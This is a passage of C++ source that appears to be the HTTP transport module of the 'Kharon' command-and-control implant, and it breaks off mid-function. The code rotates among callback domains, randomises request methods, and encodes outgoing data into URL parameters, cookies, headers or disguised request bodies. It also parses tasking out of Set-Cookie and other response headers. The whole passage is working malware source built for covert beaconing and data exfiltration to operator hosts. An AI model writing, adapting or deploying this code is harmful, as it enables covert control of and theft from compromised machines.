Files
unknown 3e287544d6 .
2026-02-12 06:44:13 -03:00

1378 lines
49 KiB
C++

#include <Kharon.h>
using namespace Root;
#define DOMAIN_STRATEGY_ROUNDROBIN 0x25
#define DOMAIN_STRATEGY_FAILOVER 0x50
#define DOMAIN_STRATEGY_RANDOM 0x70
#define SAFETY_MARGIN 32
#define APPEND_OBJECTFREE(Ctx, Data) \
do { \
PVOID* NewPtr = nullptr; \
if (Ctx->ObjectFree.Ptr == nullptr) { \
NewPtr = (PVOID*)KhAlloc(sizeof(PVOID)); \
} else { \
NewPtr = (PVOID*)KhReAlloc(Ctx->ObjectFree.Ptr, sizeof(PVOID) * (Ctx->ObjectFree.Length + 1)); \
} \
if (!NewPtr) { \
KhFree(Data); \
break; \
} \
Ctx->ObjectFree.Ptr = NewPtr; \
Ctx->ObjectFree.Ptr[Ctx->ObjectFree.Length] = Data; \
Ctx->ObjectFree.Length++; \
} while(0)
#if PROFILE_C2 == PROFILE_HTTP
auto DECLFN Transport::StrategyRot( VOID ) -> HTTP_CALLBACKS* {
Self->Config.Http.Strategy = DOMAIN_STRATEGY_RANDOM;
ULONG Strategy = Self->Config.Http.Strategy;
HTTP_CALLBACKS* TargetCallback = { nullptr };
ULONG MaxIdx = Self->Config.Http.CallbacksCount-1;
switch ( Strategy ) {
case DOMAIN_STRATEGY_FAILOVER: {
if ( this->FailCount == 10 ) {
if ( this->FailoverIdx == MaxIdx ) {
this->FailoverIdx = 0;
} else {
this->FailoverIdx++;
}
}
TargetCallback = Self->Config.Http.Callbacks[this->FailoverIdx];
break;
}
case DOMAIN_STRATEGY_ROUNDROBIN: {
TargetCallback = Self->Config.Http.Callbacks[this->RoundRobinIdx];
if ( this->RoundRobinIdx == MaxIdx ) {
this->RoundRobinIdx = 0;
} else {
this->RoundRobinIdx++;
}
break;
}
case DOMAIN_STRATEGY_RANDOM: {
ULONG Index = ( Rnd32() % Self->Config.Http.CallbacksCount );
TargetCallback = Self->Config.Http.Callbacks[Index];
break;
}
}
return TargetCallback;
}
auto DECLFN Transport::CleanupHttpContext(
_In_ HTTP_CONTEXT* Ctx
) -> BOOL {
if ( !Ctx ) return FALSE;
if ( Ctx->wTargetUrl ) KhFree( Ctx->wTargetUrl );
if ( Ctx->cTargetUrl ) KhFree( Ctx->cTargetUrl );
if ( Ctx->RequestHandle ) Self->Wininet.InternetCloseHandle( Ctx->RequestHandle );
if ( Ctx->ConnectHandle ) Self->Wininet.InternetCloseHandle( Ctx->ConnectHandle );
if ( Ctx->SessionHandle ) Self->Wininet.InternetCloseHandle( Ctx->SessionHandle );
Self->Wininet.InternetSetOptionW( nullptr, INTERNET_OPTION_END_BROWSER_SESSION, nullptr, 0 );
if ( Ctx->ObjectFree.Ptr ) {
for ( ULONG i = 0; i < Ctx->ObjectFree.Length; i++ ) {
if ( Ctx->ObjectFree.Ptr[i] ) {
KhFree( Ctx->ObjectFree.Ptr[i] );
Ctx->ObjectFree.Ptr[i] = nullptr;
}
}
KhFree( Ctx->ObjectFree.Ptr );
Ctx->ObjectFree.Ptr = nullptr;
Ctx->ObjectFree.Length = 0;
}
return Ctx->Success;
}
auto DECLFN Transport::PrepareMethod(
_In_ HTTP_CALLBACKS* Callback,
_Out_ WCHAR** OutMethodStr,
_Out_ HTTP_METHOD* OutMethod
) -> BOOL {
WCHAR* MethodStr = nullptr;
switch ( Callback->Method ) {
case HTTP_METHOD_ONLY_GET: {
MethodStr = L"GET";
*OutMethod = Callback->Get;
break;
}
case HTTP_METHOD_ONLY_POST: {
MethodStr = L"POST";
*OutMethod = Callback->Post;
break;
}
case HTTP_METHOD_USE_BOTH: {
if ( Rnd32() & 1 ) {
MethodStr = L"POST";
*OutMethod = Callback->Post;
} else {
MethodStr = L"GET";
*OutMethod = Callback->Get;
}
break;
}
default: {
MethodStr = L"GET";
*OutMethod = Callback->Get;
}
}
*OutMethodStr = MethodStr;
KhDbg("Method selected: %ls", MethodStr);
return TRUE;
}
auto DECLFN Transport::PrepareUrl(
_In_ HTTP_CONTEXT* Ctx,
_In_ HTTP_CALLBACKS* Callback,
_In_ BOOL Secure
) -> BOOL {
WCHAR PortStr[6] = { 0 };
Ctx->wTargetUrl = (WCHAR*)KhAlloc( MAX_PATH * 4 );
Ctx->cTargetUrl = (CHAR*)KhAlloc( MAX_PATH * 2 );
if ( ! Ctx->wTargetUrl || ! Ctx->cTargetUrl ) {
KhDbg("Failed to allocate URL buffers");
return FALSE;
}
Self->Msvcrt.k_swprintf( PortStr, L"%u", Callback->Port );
Self->Msvcrt.k_swprintf(
Ctx->wTargetUrl, L"%s%s%s%s%s",
Secure ? L"https://" : L"http://",
Callback->Host, L":", PortStr,
Ctx->Path ? Ctx->Path : L"/"
);
Self->Msvcrt.sprintf(
Ctx->cTargetUrl, "%ls%ls%ls%ls%ls",
Secure ? L"https://" : L"http://",
Callback->Host, L":", PortStr,
Ctx->Path ? Ctx->Path : L"/"
);
KhDbg("Target URL prepared: %ls", Ctx->wTargetUrl);
return TRUE;
}
auto DECLFN Transport::EncodeClientData(
_In_ HTTP_CONTEXT* Ctx,
_In_ MM_INFO* SendData,
_In_ MM_INFO* EncodedData,
_In_ OUTPUT_FORMAT* ClientOut
) -> BOOL {
switch ( ClientOut->Format ) {
case OutputFmt::Base32: {
EncodedData->Size = Self->Pkg->Base32( SendData->Ptr, SendData->Size, nullptr, 0, Base32Action::Get_Size );
if ( ! EncodedData->Size ) {
KhDbg("Failed to get base32 encode size");
return FALSE;
}
SIZE_T AllocSize = EncodedData->Size + SAFETY_MARGIN;
EncodedData->Ptr = (PBYTE)KhAlloc( AllocSize );
if ( ! EncodedData->Ptr ) {
KhDbg("Failed to allocate base32 buffer");
return FALSE;
}
if ( ! Self->Pkg->Base32( SendData->Ptr, SendData->Size, EncodedData->Ptr, AllocSize, Base32Action::Encode ) ) {
KhDbg("Failed to encode base32");
KhFree( EncodedData->Ptr );
return FALSE;
}
APPEND_OBJECTFREE( Ctx, EncodedData->Ptr );
KhDbg("Data encoded with base32 - Size: %zu", EncodedData->Size);
break;
}
case OutputFmt::Base64: {
EncodedData->Size = Self->Pkg->Base64( SendData->Ptr, SendData->Size, nullptr, 0, Base64Action::Get_Size );
if ( ! EncodedData->Size ) {
KhDbg("Failed to get base64 encode size");
return FALSE;
}
SIZE_T AllocSize = EncodedData->Size + SAFETY_MARGIN;
EncodedData->Ptr = (PBYTE)KhAlloc( AllocSize );
if ( ! EncodedData->Ptr ) {
KhDbg("Failed to allocate base64 buffer");
return FALSE;
}
if ( ! Self->Pkg->Base64( SendData->Ptr, SendData->Size, EncodedData->Ptr, AllocSize, Base64Action::Encode ) ) {
KhDbg("Failed to encode base64");
KhFree( EncodedData->Ptr );
return FALSE;
}
APPEND_OBJECTFREE( Ctx, EncodedData->Ptr );
KhDbg("Data encoded with base64 - Size: %zu", EncodedData->Size);
break;
}
case OutputFmt::Base64Url: {
EncodedData->Size = Self->Pkg->Base64URL( SendData->Ptr, SendData->Size, nullptr, 0, Base64URLAction::Get_Size );
if ( !EncodedData->Size ) {
KhDbg("Failed to get base64url encode size");
return FALSE;
}
SIZE_T AllocSize = EncodedData->Size + SAFETY_MARGIN;
EncodedData->Ptr = (PBYTE)KhAlloc( AllocSize );
if ( ! EncodedData->Ptr ) {
KhDbg("Failed to allocate base64url buffer");
return FALSE;
}
SIZE_T EncodedSize = Self->Pkg->Base64URL( SendData->Ptr, SendData->Size, EncodedData->Ptr, AllocSize, Base64URLAction::Encode );
if ( ! EncodedSize ) {
KhDbg("Failed to encode base64url");
KhFree( EncodedData->Ptr );
return FALSE;
}
EncodedData->Size = EncodedSize;
APPEND_OBJECTFREE( Ctx, EncodedData->Ptr );
KhDbg("Data encoded with base64url - Size: %zu", EncodedData->Size);
break;
}
case OutputFmt::Hex: {
EncodedData->Size = Self->Pkg->Hex( SendData->Ptr, SendData->Size, nullptr, 0, HexAction::Get_Size );
if ( !EncodedData->Size ) {
KhDbg("Failed to get hex encode size");
return FALSE;
}
SIZE_T AllocSize = EncodedData->Size + SAFETY_MARGIN;
EncodedData->Ptr = (PBYTE)KhAlloc( AllocSize );
if ( !EncodedData->Ptr ) {
KhDbg("Failed to allocate hex buffer");
return FALSE;
}
if ( !Self->Pkg->Hex( SendData->Ptr, SendData->Size, EncodedData->Ptr, AllocSize, HexAction::Encode ) ) {
KhDbg("Failed to encode hex");
KhFree( EncodedData->Ptr );
return FALSE;
}
APPEND_OBJECTFREE( Ctx, EncodedData->Ptr );
KhDbg("Data encoded with hex - Size: %zu", EncodedData->Size);
break;
}
case OutputFmt::Raw: {
*EncodedData = *SendData;
KhDbg("Data format is raw - no encoding applied");
break;
}
default:
return FALSE;
}
return TRUE;
}
auto DECLFN Transport::DecodeServerData(
_In_ HTTP_CONTEXT* Ctx,
_In_ MM_INFO* RespData,
_In_ MM_INFO* DecodedData,
_In_ OUTPUT_FORMAT* ServerOut
) -> BOOL {
SIZE_T DataStart = ServerOut->Prepend.Size;
SIZE_T DataEnd = RespData->Size - ServerOut->Append.Size;
if ( DataStart > RespData->Size || DataEnd < DataStart ) {
KhDbg("Invalid server response - Prepend/append overflow");
return FALSE;
}
SIZE_T ParsedSize = DataEnd - DataStart;
if ( ParsedSize == 0 ) {
KhDbg("No data after removing prepend/append");
DecodedData->Ptr = nullptr;
DecodedData->Size = 0;
return TRUE;
}
PBYTE ParsedPtr = RespData->Ptr + DataStart;
switch ( ServerOut->Format ) {
case OutputFmt::Base32: {
SIZE_T DecodedSize = Self->Pkg->Base32( ParsedPtr, ParsedSize, nullptr, 0, Base32Action::Get_Size );
SIZE_T AllocSize = DecodedSize + SAFETY_MARGIN;
DecodedData->Ptr = (PBYTE)KhAlloc( AllocSize );
if ( ! DecodedData->Ptr ) {
return FALSE;
}
DecodedData->Size = Self->Pkg->Base32( ParsedPtr, ParsedSize, DecodedData->Ptr, AllocSize, Base32Action::Decode );
if ( DecodedData->Size == 0 ) {
KhDbg("Base32 decoding failed");
KhFree( DecodedData->Ptr );
DecodedData->Ptr = nullptr;
return FALSE;
}
KhDbg("Base32 decoded - Size: %zu (allocated: %zu)", DecodedData->Size, AllocSize);
break;
}
case OutputFmt::Base64: {
SIZE_T DecodedSize = Self->Pkg->Base64( ParsedPtr, ParsedSize, nullptr, 0, Base64Action::Get_Size );
if ( ! DecodedSize ) {
return FALSE;
}
SIZE_T AllocSize = DecodedSize + SAFETY_MARGIN;
DecodedData->Ptr = (PBYTE)KhAlloc( AllocSize );
if ( ! DecodedData->Ptr ) {
return FALSE;
}
// Pass the ALLOCATED size, not the expected decoded size
SIZE_T ActualDecoded = Self->Pkg->Base64( ParsedPtr, ParsedSize, DecodedData->Ptr, AllocSize, Base64Action::Decode );
if ( ! ActualDecoded ) {
KhDbg("Base64 decoding failed");
KhFree( DecodedData->Ptr );
DecodedData->Ptr = nullptr;
return FALSE;
}
DecodedData->Size = ActualDecoded;
KhDbg("Base64 decoded - Size: %zu (allocated: %zu)", DecodedData->Size, AllocSize);
break;
}
case OutputFmt::Base64Url: {
SIZE_T RequiredSize = Self->Pkg->Base64URL( ParsedPtr, ParsedSize, nullptr, 0, Base64URLAction::Get_Size );
if ( RequiredSize == 0 ) {
KhDbg("Get_Size returned 0");
return FALSE;
}
SIZE_T AllocSize = RequiredSize + SAFETY_MARGIN;
DecodedData->Ptr = (PBYTE)KhAlloc( AllocSize );
if ( ! DecodedData->Ptr ) {
return FALSE;
}
SIZE_T DecodedSize = Self->Pkg->Base64URL( ParsedPtr, ParsedSize, DecodedData->Ptr, AllocSize, Base64URLAction::Decode );
if ( DecodedSize == 0 ) {
KhDbg("Base64URL decode failed");
KhFree( DecodedData->Ptr );
DecodedData->Ptr = nullptr;
return FALSE;
}
DecodedData->Size = DecodedSize;
KhDbg("Base64URL decoded - Size: %zu (allocated: %zu)", DecodedData->Size, AllocSize);
break;
}
case OutputFmt::Hex: {
SIZE_T DecodedSize = Self->Pkg->Hex( ParsedPtr, ParsedSize, nullptr, 0, HexAction::Get_Size );
SIZE_T AllocSize = DecodedSize + SAFETY_MARGIN;
DecodedData->Ptr = (PBYTE)KhAlloc( AllocSize );
if ( ! DecodedData->Ptr ) {
return FALSE;
}
DecodedData->Size = Self->Pkg->Hex( ParsedPtr, ParsedSize, DecodedData->Ptr, AllocSize, HexAction::Decode );
if ( DecodedData->Size == 0 ) {
KhDbg("Hex decoding failed");
KhFree( DecodedData->Ptr );
DecodedData->Ptr = nullptr;
return FALSE;
}
KhDbg("Hex decoded - Size: %zu (allocated: %zu)", DecodedData->Size, AllocSize);
break;
}
case OutputFmt::Raw: {
SIZE_T AllocSize = ParsedSize + SAFETY_MARGIN;
DecodedData->Ptr = (PBYTE)KhAlloc( AllocSize );
if ( ! DecodedData->Ptr ) {
return FALSE;
}
Mem::Copy( DecodedData->Ptr, ParsedPtr, ParsedSize );
DecodedData->Size = ParsedSize;
KhDbg("Raw format - copied, Size: %zu (allocated: %zu)", DecodedData->Size, AllocSize);
break;
}
default:
return FALSE;
}
return TRUE;
}
auto DECLFN Transport::ProcessClientOutput(
_In_ HTTP_CONTEXT* Ctx,
_In_ MM_INFO* EncodedData,
_In_ OUTPUT_TYPE ClientOutType,
_In_ HTTP_ENDPOINT* Endpoint,
_In_ HTTP_METHOD* Method,
_In_ OUTPUT_FORMAT* ClientOut
) -> BOOL {
MM_INFO Output = { 0 };
Output.Size = ClientOut->Append.Size + ClientOut->Prepend.Size + EncodedData->Size;
Output.Ptr = (PBYTE)KhAlloc( Output.Size + SAFETY_MARGIN );
if ( ! Output.Ptr ) {
KhDbg("Failed to allocate output buffer");
return FALSE;
}
if ( ClientOut->Prepend.Size > 0 && ClientOut->Prepend.Ptr ) {
Mem::Copy( Output.Ptr, ClientOut->Prepend.Ptr, ClientOut->Prepend.Size );
}
Mem::Copy( Output.Ptr + ClientOut->Prepend.Size, EncodedData->Ptr, EncodedData->Size );
if ( ClientOut->Append.Size > 0 && ClientOut->Append.Ptr ) {
Mem::Copy(
Output.Ptr + ClientOut->Prepend.Size + EncodedData->Size,
ClientOut->Append.Ptr,
ClientOut->Append.Size
);
}
KhDbg("Output buffer built - Size: %zu", Output.Size);
switch ( ClientOutType ) {
case Output_Parameter: {
KhDbg("Output type: Parameter");
WCHAR* OutputWidePtr = (WCHAR*)KhAlloc( (Output.Size + SAFETY_MARGIN) * sizeof(WCHAR) );
if ( ! OutputWidePtr ) {
KhFree( Output.Ptr );
return FALSE;
}
for ( SIZE_T i = 0; i < Output.Size; i++ ) {
OutputWidePtr[i] = (WCHAR)((UCHAR)Output.Ptr[i]);
}
OutputWidePtr[Output.Size] = L'\0';
WCHAR* PathFullBuff = nullptr;
if ( Endpoint->Parameters.Ptr && Endpoint->Parameters.Size > 0 && *Endpoint->Parameters.Ptr ) {
ULONG EndpointParamLen = Str::LengthW( (WCHAR*)Endpoint->Parameters.Ptr );
ULONG ClientParamLen = Str::LengthW( (WCHAR*)ClientOut->Parameter.Ptr );
ULONG EndpointPathLen = Str::LengthW( Endpoint->Path );
ULONG PathLen = EndpointPathLen + 1 + EndpointParamLen + 1 + ClientParamLen + 1 + Output.Size + 1;
PathFullBuff = (WCHAR*)KhAlloc( (PathLen + SAFETY_MARGIN) * sizeof(WCHAR) );
if ( ! PathFullBuff ) {
KhFree( OutputWidePtr );
KhFree( Output.Ptr );
return FALSE;
}
Self->Msvcrt.k_swprintf(
PathFullBuff, L"%s?%s&%s=%s",
Endpoint->Path,
(WCHAR*)Endpoint->Parameters.Ptr,
(WCHAR*)ClientOut->Parameter.Ptr,
OutputWidePtr
);
} else {
ULONG ClientParamLen = Str::LengthW( (WCHAR*)ClientOut->Parameter.Ptr );
ULONG EndpointPathLen = Str::LengthW( Endpoint->Path );
ULONG PathLen = EndpointPathLen + 1 + ClientParamLen + 1 + Output.Size + 1;
PathFullBuff = (WCHAR*)KhAlloc( (PathLen + SAFETY_MARGIN) * sizeof(WCHAR) );
if ( ! PathFullBuff ) {
KhFree( OutputWidePtr );
KhFree( Output.Ptr );
return FALSE;
}
Self->Msvcrt.k_swprintf(
PathFullBuff, L"%s?%s=%s",
Endpoint->Path,
(WCHAR*)ClientOut->Parameter.Ptr,
OutputWidePtr
);
}
Ctx->Path = PathFullBuff;
Ctx->Body = ClientOut->FalseBody;
Ctx->Headers = nullptr;
APPEND_OBJECTFREE( Ctx, OutputWidePtr );
APPEND_OBJECTFREE( Ctx, PathFullBuff );
APPEND_OBJECTFREE( Ctx, Output.Ptr );
break;
}
case Output_Cookie: {
KhDbg("Output type: Cookie");
if ( ClientOut->Cookie.Ptr ) {
CHAR cCookie[MAX_PATH];
Mem::Zero( (UPTR)cCookie, MAX_PATH );
Str::WCharToChar( cCookie, (WCHAR*)ClientOut->Cookie.Ptr, Str::LengthW( (WCHAR*)ClientOut->Cookie.Ptr ) + 1 );
Output.Ptr[Output.Size] = '\0';
if ( ! Self->Wininet.InternetSetCookieA( Ctx->cTargetUrl, cCookie, (CHAR*)Output.Ptr ) ) {
KhDbg("Failed to set cookie with error: %d", KhGetError);
}
KhDbg("Cookie set - Url: %s", Ctx->cTargetUrl);
KhDbg("Cookie set - Key: %s", cCookie);
KhDbg("Cookie set - Val: %s", Output.Ptr);
}
Ctx->Body = ClientOut->FalseBody;
APPEND_OBJECTFREE( Ctx, Output.Ptr );
break;
}
case Output_Header: {
KhDbg("Output type: Header");
if ( Endpoint->Parameters.Ptr && Endpoint->Parameters.Size > 0 && *Endpoint->Parameters.Ptr ) {
ULONG ParamLen = Str::LengthW( (WCHAR*)Endpoint->Parameters.Ptr );
ULONG PathLen = Str::LengthW( Endpoint->Path );
ULONG PathFullSize = PathLen + 1 + ParamLen + 1;
WCHAR* PathFullBuff = (WCHAR*)KhAlloc( (PathFullSize + SAFETY_MARGIN) * sizeof(WCHAR) );
if ( ! PathFullBuff ) {
KhFree( Output.Ptr );
return FALSE;
}
Self->Msvcrt.k_swprintf( PathFullBuff, L"%s?%s", Endpoint->Path, (WCHAR*)Endpoint->Parameters.Ptr );
Ctx->Path = PathFullBuff;
APPEND_OBJECTFREE( Ctx, PathFullBuff );
} else {
Ctx->Path = Endpoint->Path;
}
ULONG MethodHdrLen = Str::LengthW( Method->Headers );
ULONG CustomHdrLen = (WCHAR*)Endpoint->ClientOutput.Header.Ptr ? Str::LengthW( (WCHAR*)Endpoint->ClientOutput.Header.Ptr ) : 0;
ULONG FinalLen = MethodHdrLen + CustomHdrLen + Output.Size + 32;
Ctx->Headers = (WCHAR*)KhAlloc( (FinalLen + SAFETY_MARGIN) * sizeof(WCHAR) );
if ( ! Ctx->Headers ) {
KhFree( Output.Ptr );
return FALSE;
}
WCHAR* HeaderPtr = Ctx->Headers;
if ( MethodHdrLen > 0 ) {
Mem::Copy( HeaderPtr, Method->Headers, MethodHdrLen * sizeof(WCHAR) );
HeaderPtr += MethodHdrLen;
}
if ( CustomHdrLen > 0 ) {
Mem::Copy( HeaderPtr, Endpoint->ClientOutput.Header.Ptr, CustomHdrLen * sizeof(WCHAR) );
HeaderPtr += CustomHdrLen;
}
if ( Output.Size > 0 ) {
Mem::Copy( HeaderPtr, Output.Ptr, Output.Size );
HeaderPtr = (WCHAR*)((PBYTE)HeaderPtr + Output.Size);
}
*HeaderPtr++ = L'\r';
*HeaderPtr++ = L'\n';
*HeaderPtr = L'\0';
APPEND_OBJECTFREE( Ctx, Output.Ptr );
APPEND_OBJECTFREE( Ctx, Ctx->Headers );
Ctx->Body = ClientOut->FalseBody;
break;
}
case Output_Body: {
KhDbg("Output type: Body");
if ( Endpoint->Parameters.Ptr && Endpoint->Parameters.Size && *Endpoint->Parameters.Ptr ) {
ULONG ParamLen = Str::LengthW( (WCHAR*)Endpoint->Parameters.Ptr );
ULONG PathLen = Str::LengthW( Endpoint->Path );
ULONG PathFullSize = PathLen + 1 + ParamLen + 1;
WCHAR* PathFullBuff = (WCHAR*)KhAlloc( (PathFullSize + SAFETY_MARGIN) * sizeof(WCHAR) );
if ( ! PathFullBuff ) {
KhFree( Output.Ptr );
return FALSE;
}
Self->Msvcrt.k_swprintf( PathFullBuff, L"%s?%s", Endpoint->Path, (WCHAR*)Endpoint->Parameters.Ptr );
Ctx->Path = PathFullBuff;
APPEND_OBJECTFREE( Ctx, PathFullBuff );
} else {
Ctx->Path = Endpoint->Path;
}
APPEND_OBJECTFREE( Ctx, Output.Ptr );
Ctx->Body = Output;
break;
}
default:
KhFree( Output.Ptr );
return FALSE;
}
return TRUE;
}
auto DECLFN Transport::ProcessServerOutput(
_In_ HTTP_CONTEXT* Ctx,
_In_ HANDLE RequestHandle,
_In_ CHAR* cTargetUrl,
_In_ OUTPUT_TYPE ServerOutType,
_In_ OUTPUT_FORMAT* ServerOut,
_In_ MM_INFO* RespData
) -> BOOL {
switch ( ServerOutType ) {
case Output_Cookie: {
KhDbg("Processing cookie response - extracting from Set-Cookie header");
WCHAR* CookieName = (WCHAR*)ServerOut->Cookie.Ptr;
if ( !CookieName ) {
KhDbg("No cookie name specified");
return FALSE;
}
KhDbg("Looking for cookie: %ls", CookieName);
DWORD HeaderIndex = 0;
DWORD BufferSize = 0;
Self->Wininet.HttpQueryInfoW(
RequestHandle,
HTTP_QUERY_SET_COOKIE,
nullptr,
&BufferSize,
&HeaderIndex
);
if ( BufferSize == 0 ) {
KhDbg("No Set-Cookie via HTTP_QUERY_SET_COOKIE, trying raw headers");
HeaderIndex = 0;
BufferSize = 0;
Self->Wininet.HttpQueryInfoW(
RequestHandle,
HTTP_QUERY_RAW_HEADERS_CRLF,
nullptr,
&BufferSize,
&HeaderIndex
);
if ( BufferSize == 0 ) {
KhDbg("No headers in response");
return FALSE;
}
WCHAR* AllHeaders = (WCHAR*)KhAlloc( BufferSize + SAFETY_MARGIN );
if ( !AllHeaders ) {
return FALSE;
}
HeaderIndex = 0;
if ( !Self->Wininet.HttpQueryInfoW(
RequestHandle,
HTTP_QUERY_RAW_HEADERS_CRLF,
AllHeaders,
&BufferSize,
&HeaderIndex
)) {
KhFree( AllHeaders );
KhDbg("Failed to get raw headers");
return FALSE;
}
KhDbg("Raw headers retrieved, searching for Set-Cookie");
WCHAR* CurrentLine = AllHeaders;
BOOL Found = FALSE;
WCHAR LowerCookieName[256] = {0};
SIZE_T CookieNameLen = Str::LengthW( CookieName );
if ( CookieNameLen >= 256 ) CookieNameLen = 255;
for ( SIZE_T i = 0; i < CookieNameLen; i++ ) {
WCHAR c = CookieName[i];
LowerCookieName[i] = (c >= L'A' && c <= L'Z') ? (c + (L'a' - L'A')) : c;
}
LowerCookieName[CookieNameLen] = L'\0';
while ( CurrentLine && *CurrentLine && !Found ) {
WCHAR* LineEnd = nullptr;
for ( WCHAR* p = CurrentLine; *p; p++ ) {
if ( *p == L'\r' && *(p + 1) == L'\n' ) {
LineEnd = p;
break;
}
}
WCHAR SavedChar = L'\0';
if ( LineEnd ) {
SavedChar = *LineEnd;
*LineEnd = L'\0';
}
WCHAR SetCookiePrefix[] = L"set-cookie:";
WCHAR LowerLine[32] = {0};
for ( int i = 0; i < 11 && CurrentLine[i]; i++ ) {
WCHAR c = CurrentLine[i];
LowerLine[i] = (c >= L'A' && c <= L'Z') ? (c + (L'a' - L'A')) : c;
}
BOOL IsSetCookie = TRUE;
for ( int i = 0; i < 11; i++ ) {
if ( LowerLine[i] != SetCookiePrefix[i] ) {
IsSetCookie = FALSE;
break;
}
}
if ( IsSetCookie ) {
WCHAR* CookieValue = CurrentLine + 11;
while ( *CookieValue == L' ' || *CookieValue == L'\t' ) {
CookieValue++;
}
KhDbg("Found Set-Cookie: %ls", CookieValue);
WCHAR LowerCookieStart[256] = {0};
for ( SIZE_T i = 0; i < 255 && CookieValue[i] && CookieValue[i] != L'='; i++ ) {
WCHAR c = CookieValue[i];
LowerCookieStart[i] = (c >= L'A' && c <= L'Z') ? (c + (L'a' - L'A')) : c;
}
BOOL NameMatch = TRUE;
for ( SIZE_T i = 0; i < CookieNameLen; i++ ) {
if ( LowerCookieStart[i] != LowerCookieName[i] ) {
NameMatch = FALSE;
break;
}
}
if ( NameMatch && LowerCookieStart[CookieNameLen] == L'\0' ) {
WCHAR* ValueStart = CookieValue;
while ( *ValueStart && *ValueStart != L'=' ) {
ValueStart++;
}
if ( *ValueStart == L'=' ) {
ValueStart++;
WCHAR* ValueEnd = ValueStart;
while ( *ValueEnd && *ValueEnd != L';' ) {
ValueEnd++;
}
SIZE_T ValueLen = ValueEnd - ValueStart;
CHAR* CookieData = (CHAR*)KhAlloc( ValueLen + SAFETY_MARGIN );
if ( !CookieData ) {
if ( LineEnd ) *LineEnd = SavedChar;
KhFree( AllHeaders );
return FALSE;
}
for ( SIZE_T i = 0; i < ValueLen; i++ ) {
CookieData[i] = (CHAR)ValueStart[i];
}
CookieData[ValueLen] = '\0';
RespData->Ptr = (PBYTE)CookieData;
RespData->Size = ValueLen;
KhDbg("Cookie value extracted - Size: %zu, Value: %s", ValueLen, CookieData);
Found = TRUE;
if ( LineEnd ) *LineEnd = SavedChar;
break;
}
}
}
if ( LineEnd ) {
*LineEnd = SavedChar;
CurrentLine = LineEnd + 2;
} else {
break;
}
}
KhFree( AllHeaders );
if ( !Found ) {
KhDbg("Cookie '%ls' not found in Set-Cookie headers", CookieName);
return FALSE;
}
return TRUE;
}
WCHAR* SetCookieValue = (WCHAR*)KhAlloc( BufferSize + SAFETY_MARGIN );
if ( !SetCookieValue ) {
return FALSE;
}
HeaderIndex = 0;
if ( !Self->Wininet.HttpQueryInfoW(
RequestHandle,
HTTP_QUERY_SET_COOKIE,
SetCookieValue,
&BufferSize,
&HeaderIndex
)) {
KhFree( SetCookieValue );
KhDbg("Failed to query Set-Cookie header");
return FALSE;
}
KhDbg("Set-Cookie header: %ls", SetCookieValue);
WCHAR* CookieStart = SetCookieValue;
while ( *CookieStart && *CookieStart != L'=' ) {
CookieStart++;
}
if ( *CookieStart == L'=' ) {
WCHAR* ValueStart = CookieStart + 1;
WCHAR* ValueEnd = ValueStart;
while ( *ValueEnd && *ValueEnd != L';' ) {
ValueEnd++;
}
SIZE_T ValueLen = ValueEnd - ValueStart;
CHAR* CookieData = (CHAR*)KhAlloc( ValueLen + SAFETY_MARGIN );
if ( !CookieData ) {
KhFree( SetCookieValue );
return FALSE;
}
for ( SIZE_T i = 0; i < ValueLen; i++ ) {
CookieData[i] = (CHAR)ValueStart[i];
}
CookieData[ValueLen] = '\0';
RespData->Ptr = (PBYTE)CookieData;
RespData->Size = ValueLen;
KhFree( SetCookieValue );
KhDbg("Cookie extracted - Size: %zu", ValueLen);
} else {
KhFree( SetCookieValue );
return FALSE;
}
break;
}
case Output_Header: {
KhDbg("Processing header response - Looking for: %S", ServerOut->Header.Ptr);
DWORD HeaderIndex = 0;
DWORD BufferSize = 0;
Self->Wininet.HttpQueryInfoW(
RequestHandle, HTTP_QUERY_RAW_HEADERS_CRLF, nullptr, &BufferSize, &HeaderIndex
);
if ( BufferSize == 0 ) {
KhDbg("No headers in response");
return FALSE;
}
WCHAR* AllHeaders = (WCHAR*)KhAlloc( BufferSize + SAFETY_MARGIN );
if ( !AllHeaders ) {
return FALSE;
}
HeaderIndex = 0;
if ( !Self->Wininet.HttpQueryInfoW(
RequestHandle, HTTP_QUERY_RAW_HEADERS_CRLF, AllHeaders, &BufferSize, &HeaderIndex
)) {
KhFree( AllHeaders );
KhDbg("Failed to query raw headers");
return FALSE;
}
WCHAR* CurrentLine = AllHeaders;
BOOL Found = FALSE;
WCHAR LowerHeaderName[256] = {0};
Str::CopyW( LowerHeaderName, (WCHAR*)ServerOut->Header.Ptr );
for ( WCHAR* p = LowerHeaderName; *p; p++ ) {
if ( *p >= L'A' && *p <= L'Z' ) {
*p = *p + (L'a' - L'A');
}
}
while ( CurrentLine && *CurrentLine && !Found ) {
WCHAR* LineEnd = nullptr;
for ( WCHAR* p = CurrentLine; *p; p++ ) {
if ( *p == L'\r' && *(p + 1) == L'\n' ) {
LineEnd = p;
break;
}
}
WCHAR SavedChar = L'\0';
if ( LineEnd ) {
SavedChar = *LineEnd;
*LineEnd = L'\0';
}
WCHAR* ColonPos = nullptr;
for ( WCHAR* p = CurrentLine; *p; p++ ) {
if ( *p == L':' ) {
ColonPos = p;
break;
}
}
if ( ColonPos ) {
*ColonPos = L'\0';
WCHAR* CurrentHeaderName = CurrentLine;
WCHAR* CurrentHeaderValue = ColonPos + 1;
while ( *CurrentHeaderValue == L' ' ) {
CurrentHeaderValue++;
}
WCHAR LowerCurrentHeader[256] = {0};
Str::CopyW( LowerCurrentHeader, CurrentHeaderName );
for ( WCHAR* p = LowerCurrentHeader; *p; p++ ) {
if ( *p >= L'A' && *p <= L'Z' ) {
*p = *p + (L'a' - L'A');
}
}
BOOL Match = TRUE;
WCHAR* p1 = LowerHeaderName;
WCHAR* p2 = LowerCurrentHeader;
while ( *p1 && *p2 ) {
if ( *p1 != *p2 ) {
Match = FALSE;
break;
}
p1++;
p2++;
}
if ( Match && *p1 == L'\0' && *p2 == L'\0' ) {
SIZE_T WideLen = Str::LengthW( CurrentHeaderValue );
SIZE_T AllocSize = (WideLen * 3) + SAFETY_MARGIN;
CHAR* HeaderValue = (CHAR*)KhAlloc( AllocSize );
if ( !HeaderValue ) {
*ColonPos = L':';
if ( LineEnd ) *LineEnd = SavedChar;
KhFree( AllHeaders );
return FALSE;
}
SIZE_T ConvertedLen = Str::WCharToChar( HeaderValue, CurrentHeaderValue, AllocSize );
RespData->Size = ConvertedLen;
RespData->Ptr = B_PTR( HeaderValue );
Found = TRUE;
KhDbg("Header value extracted - Size: %zu", ConvertedLen);
*ColonPos = L':';
if ( LineEnd ) *LineEnd = SavedChar;
break;
}
*ColonPos = L':';
}
